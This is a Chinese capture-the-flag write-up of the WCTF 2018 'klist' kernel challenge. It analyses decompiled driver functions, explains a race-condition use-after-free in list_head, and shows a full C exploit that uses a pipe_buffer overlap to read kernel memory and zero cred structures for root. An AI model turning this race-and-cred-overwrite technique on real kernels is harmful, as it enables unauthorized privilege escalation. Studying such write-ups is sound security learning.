http://p4nda.top/2018/11/27/wctf-2018-klist/#select-item
https://blog.csdn.net/seaaseesa/article/details/104649351
https://blog.csdn.net/panhewu9919/article/details/100728934
启动脚本
#!/bin/sh
qemu-system-x86_64 \
-m 1024 -smp cores=2,threads=2,sockets=1 \
-display none -serial stdio -no-reboot \
-cpu kvm64,+smep \
-initrd ./rootfs.img \
-kernel ./bzImage \
-gdb tcp::1234 \
-append "console=ttyS0 root=/dev/ram rw oops=panic panic=1 quiet "
关于内核条件竞争漏洞
条件竞争发生在多线程多进程中,往往是因为没有对全局数据、函数进行加锁,导致多进程同时访问修改,使得数据与理想的不一致而引发漏洞。
关于互斥锁
互斥锁主要用于实现内核中的互斥访问功能。对它的访问必须遵循一些规则:同一时间只能有一个任务持有互斥锁,而且只有这个任务可以对互斥锁进行解锁。互斥锁不能进行递归锁定或解锁。一个互斥锁对象必须通过其API初始化,而不能使用memset或复制初始化。一个任务在持有互斥锁的时候是不能结束的。互斥锁所使用的内存区域是不能被释放的。使用中的互斥锁是不能被重新初始化的。并且互斥锁不能用于中断上下文。
开始分析
相关代码如下
//1. add_item: 输入user_struc -> (size, user_buf)。程序会申请内存kmalloc(size+0x18),并把user_buf内容拷贝过去,结构指针放单链表首个位置(g_list),flag置1。
signed __int64 __fastcall add_item(__int64 user_struct)
{
__int64 chunk; // rax
unsigned __int64 size2; // rdx
__int64 user_buf2; // rsi
__int64 chunk2; // rbx
__int64 v5; // rax
signed __int64 result; // rax
unsigned __int64 size; // [rsp+0h] [rbp-18h]
__int64 user_buf; // [rsp+8h] [rbp-10h]
if ( copy_from_user(&size, user_struct, 0x10LL) || size > 0x400 ) // 拷贝0x10长度的地址到内核空间
return -22LL;
chunk = _kmalloc(size + 0x18, 21103296LL); //申请size+0x18长度的空间(第一个参数是要分配的块的大小,第二个参数是分配标志)
size2 = size;
user_buf2 = user_buf;
*(_DWORD *)chunk = 1;
chunk2 = chunk;
*(_QWORD *)(chunk + 8) = size2;
if ( copy_from_user(chunk + 0x18, user_buf2, size2) ) //将user_buf2拷贝到chunk + 0x18中
{
kfree(chunk2);
result = -22LL;
}
else
{
mutex_lock(&list_lock); // 新建的文件结构体放到最前面
v5 = g_list;
g_list = chunk2;
*(_QWORD *)(chunk2 + 0x10) = v5;
mutex_unlock(&list_lock);
result = 0LL;
}
return result;
}
//2.select_item: 遍历查找第index个文件结构,放入(fd+200)位置。对所选块进行get操作,并对之前所选的块作put操作
signed __int64 __fastcall select_item(__int64 fd, __int64 index)
{
__int64 g_list2; // rbx
__int64 ji; // rax
volatile signed __int32 **v4; // rbp
mutex_lock(&list_lock);
g_list2 = g_list;
if ( index > 0 )
{
if ( !g_list )
{
LABEL_9:
mutex_unlock(&list_lock);
return -22LL;
}
ji = 0LL;
while ( 1 )
{
++ji;
g_list2 = *(_QWORD *)(g_list2 + 16);
if ( index == ji )
break;
if ( !g_list2 )
goto LABEL_9;
}
}
if ( !g_list2 )
return -22LL;
get((volatile signed __int32 *)g_list2); //get: 原子性的加法操作
mutex_unlock(&list_lock);
v4 = *(volatile signed __int32 ***)(fd + 200);
mutex_lock(v4 + 1);
put(*v4); //put: 原子性的减法操作,减为0时,free掉
*v4 = (volatile signed __int32 *)g_list2;
mutex_unlock(v4 + 1);
return 0LL;
}
//3. remove_item: 对用户输入的index对应的文件结构,作put操作。并非直接free,这是为了防止用select_item选择时,将其放到(fd+200)中,造成UAF。
signed __int64 __fastcall remove_item(__int64 index)
{
__int64 g_list2; // rax
signed __int64 ji; // rdx
__int64 current; // rdi
__int64 v5; // rdi
if ( index >= 0 )
{
mutex_lock(&list_lock);
if ( !index ) // 移除第0个
{
v5 = g_list;
if ( g_list )
{
g_list = *(_QWORD *)(g_list + 16);
put(v5); //put: 原子性的减法操作,减为0时,free掉
mutex_unlock(&list_lock);
return 0LL;
}
goto LABEL_12;
}
g_list2 = g_list;
if ( index != 1 ) // 移除第index>1个
{
if ( !g_list )
{
LABEL_12:
mutex_unlock(&list_lock);
return -22LL;
}
ji = 1LL;
while ( 1 )
{
++ji;
g_list2 = *(_QWORD *)(g_list2 + 16);
if ( index == ji )
break;
if ( !g_list2 )
goto LABEL_12;
}
}
current = *(_QWORD *)(g_list2 + 16);
if ( current )
{
*(_QWORD *)(g_list2 + 16) = *(_QWORD *)(current + 16);// 从链表中删除
put(current); //put: 原子性的减法操作,减为0时,free掉
mutex_unlock(&list_lock);
return 0LL;
}
goto LABEL_12;
}
return -22LL;
}
// 4.list_head: 把首个文件结构及内容返回给用户。注意copy_to_user分别调用了get和put函数,标识正在被操作。
unsigned __int64 __fastcall list_head(__int64 user_buf)
{
__int64 v1; // rbx
unsigned __int64 v2; // rbx
mutex_lock(&list_lock);
get((volatile signed __int32 *)g_list); //get: 原子性的加法操作
v1 = g_list;
mutex_unlock(&list_lock);
v2 = -(signed __int64)((unsigned __int64)copy_to_user(user_buf, v1, *(_QWORD *)(v1 + 8) + 24LL) >= 1) & 0xFFFFFFFFFFFFFFEALL;
put((volatile signed __int32 *)g_list); //put: 原子性的减法操作,减为0时,free掉
return v2;
}
//其中
//get: 原子性的加法操作
void __fastcall get(volatile signed __int32 *a1)
{
_InterlockedIncrement(a1);
}
//put: 原子性的减法操作,减为0时,free掉
__int64 __fastcall put(volatile signed __int32 *a1)
{
__int64 result; // rax
if ( a1 )
{
if ( !_InterlockedDecrement(a1) )
result = kfree(a1);
}
return result;
}
首先启动脚本run.sh里就提示了,本内核运行于多核环境。然后发现list_head中,先对g_list指向的第1个对象进行get—flag加1,然后对第1个对象进行put—flag减1(为0则释放)。但put操作在mutex_loc/mutex_unlock外部,如果在mutex_unlock之后有一个add_item操作,就可能会释放新加入的对象,而没有清空指针,造成UAF。
首先链表的结构是这样的
struct list_node {
int64_t used;
size_t size;
list_node *next;
char buf[XX];
}
我们如果能控制size域,将它赋值很大,那么,我们就能溢出堆,搜索内存里的cred结构,然后改写它,进而提权。然而,我们UAF只能控制buf数据区。有一个巧妙的方法就是利用pipe管道。在pipe创建管道的时候,会申请这样一个结构
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
其中,page是pipe存放数据的缓冲区,offset和len是数据的偏移和长度。比如,一开始,offset和len都是0,当我们write(pfd[1],buf,0x100);
的时候,offset = 0,len = 0x100
。然而,我们注意到,offset和len都是4字节数据,如果把它们拼在一起,凑成8字节,就是0x10000000000,如果能够与list_node的size域对应起来,我们就能溢出堆了。
因此,我们一开始申请一个与pipe_buffer大小一样的堆,然后利用竞争释放后,创建一个管道,pipe_buffer就会申请到这里,接下来再write(pfd[1],buf,0x100),就能使得size域变得很大,那么我们就能溢出堆,进行内存搜索了。
最终的exp代码
// Exploit
//pipe
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/audit.h>
#include <stdlib.h>
#include <sys/prctl.h>
#include <string.h>
#include <sys/reg.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/timerfd.h>
// size of pipe buffers //创建节点时,需要发送的数据
#define SIZE 0x280
int list_add(int fd, char* data, long size) {
long io[2];
io[0] = size;
io[1] = (long)data;
return ioctl(fd, 0x1337, io);
}
int list_select(int fd, long index) {
return ioctl(fd, 0x1338, index);
}
int list_remove(int fd, long index) {
return ioctl(fd, 0x1339, index);
}
int list_do_head(int fd, char* data) {
return ioctl(fd, 0x133a, data);
}
void check_win()
{
while(1) {
sleep(1);
if (getuid() == 0) {
system("cat /flag");
exit(0);
}
}
}
int main()
{
/*setvbuf(stdout, NULL, _IONBF, 0);*/
pid_t child_pid;
char* bufA = malloc(SIZE);
memset(bufA, 'A', SIZE);
char* bufB = malloc(SIZE);
memset(bufB, 'B', SIZE);
char* buf2 = malloc(SIZE);
memset(buf2, 'C', SIZE);
char* buf3 = malloc(SIZE);
memset(buf3, 'D', SIZE);
int fd = open("/dev/klist", O_RDWR);
list_add(fd, bufA, SIZE-24);
list_select(fd, 0);
puts("beginning race");
child_pid = fork();
if (child_pid == 0)
{
for(int i = 0; i < 200; i++) //开200个子进程,死循环,检查是否提权
{
child_pid = fork();
if(child_pid == 0)
check_win();
}
while(1) // 死循环: add + remove 操作,读取到新数据就停止
{
list_add(fd, bufA, SIZE-24); // 竞争点: remove时list_head线程插入一个put,bufA被释放,flag==0
list_select(fd, 0); // 选择之后flag==1
// 目的已经达到,现在select一直选中这个块了,可以达到任意地址读写的目的
list_remove(fd, 0); // 再释放一次bufA, 避免未碰撞时note增加太多。若竞争成功,会把bufA释放kfree两次,不会报错
list_add(fd, bufB, SIZE-24); // bufA 恰好被B覆盖
read(fd, buf2, SIZE-24);
if(buf2[0] != 'A') {
puts("race won!");
break;
}
list_remove(fd, 0); // 没赢,再次尝试
}
// 删除并添加管道来占据首个 note
sleep(1);
list_remove(fd, 0);
memset(buf3, 'E', SIZE);
int fds[2];
pipe(&fds[0]);
// 堆喷, 把size覆盖很大,这样就能任意读写。 其实可以只write 1次
for(int i = 0; i < 9; i++) {
write(fds[1], buf3, SIZE);
}
// 读取内存,泄露cred,修改cred
unsigned int *ibuf = (unsigned int *)malloc(0x1000000);
read(fd, ibuf, 0x1000000);
int j;
unsigned long max_i = 0;
int count = 0;
for(int i = 0; i < 0x1000000/4; i++)
{
if (ibuf[i] == 1000 && ibuf[i+1] == 1000 && ibuf[i+7] == 1000)
{
printf("[+] We got cred!\n");
//for (int x=0; x<10; x+=1)
// printf("0x%x ",ibuf[x]);
max_i = i+8;
for(j = 0; j < 8; j++)
ibuf[i+j] = 0;
count++;
if(count >= 2)
break;
}
}
write(fd, ibuf, max_i*4);
check_win();
}
else if (child_pid > 0)
{
// 死循环: 调用list_head 尝试减去flag
// 读到新数据时停止
while(1) {
if(list_do_head(fd, buf3)) {
puts("wtf head failed");
}
read(fd, buf2, SIZE-24);
if(buf2[0] != 'A') {
puts("race won thread 2!");
break;
}
}
check_win();
}
else
{
puts("fork failed");
return -1;
}
return 0;
}
编译语句为
gcc -static -O0 -o ./cpio/exp exp.c -lpthread